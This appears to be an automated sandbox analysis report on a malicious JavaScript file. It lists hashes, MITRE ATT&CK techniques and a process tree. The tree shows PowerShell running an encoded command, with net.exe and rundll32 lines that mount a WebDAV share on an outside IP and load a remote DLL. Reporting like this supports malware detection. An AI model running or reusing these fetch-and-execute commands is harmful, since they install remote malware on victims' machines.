404341b290e56b21c74d5768a98580813f5e81a5ef2e97e1af7aec6cb2a719b0

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
17/10/2024, 18:59

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General

Target

393114579175167727.js
Size

94KB
MD5

57e8200e9cfde4618e5b11793719e718
SHA1

c5f642755ea7e1933c032330a20fff5552dd64e4
SHA256

404341b290e56b21c74d5768a98580813f5e81a5ef2e97e1af7aec6cb2a719b0
SHA512

b275d876a954c5d22e8a3bbf918ee85b1de7bac387377ad41dc00c67de0b35962750a0188a78badef943bd8a415fd1a13e9b888222d535e81425c4c825c89e04
SSDEEP

1536:mmM7EDQxL7TpGPH03S1wXMWLYJNNM/Us5MWvl+MPMdRX2MJ:mmM7NGPU3jMDMRMWvl+M0d12MJ

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2752	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2640 wrote to memory of 2752	2640	wscript.exe	30
PID 2640 wrote to memory of 2752	2640	wscript.exe	30
PID 2640 wrote to memory of 2752	2640	wscript.exe	30
PID 2752 wrote to memory of 2584	2752	powershell.exe	32
PID 2752 wrote to memory of 2584	2752	powershell.exe	32
PID 2752 wrote to memory of 2584	2752	powershell.exe	32
PID 2752 wrote to memory of 760	2752	powershell.exe	33
PID 2752 wrote to memory of 760	2752	powershell.exe	33
PID 2752 wrote to memory of 760	2752	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\393114579175167727.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADQAOABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMQA3ADUAMQA4ADgAMQA1ADkANAA3ADQANQAuAGQAbABsACwARQBuAHQAcgB5AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\94.159.113.48@8888\davwwwroot\
    3⤵
    PID:2584
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\94.159.113.48@8888\davwwwroot\1751881594745.dll Entry
    3⤵
    PID:760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2752-4-0x000007FEF5F0E000-0x000007FEF5F0F000-memory.dmp

Filesize
4KB

Download
memory/2752-5-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/2752-7-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2752-6-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download
memory/2752-8-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2752-9-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2752-10-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2752-11-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download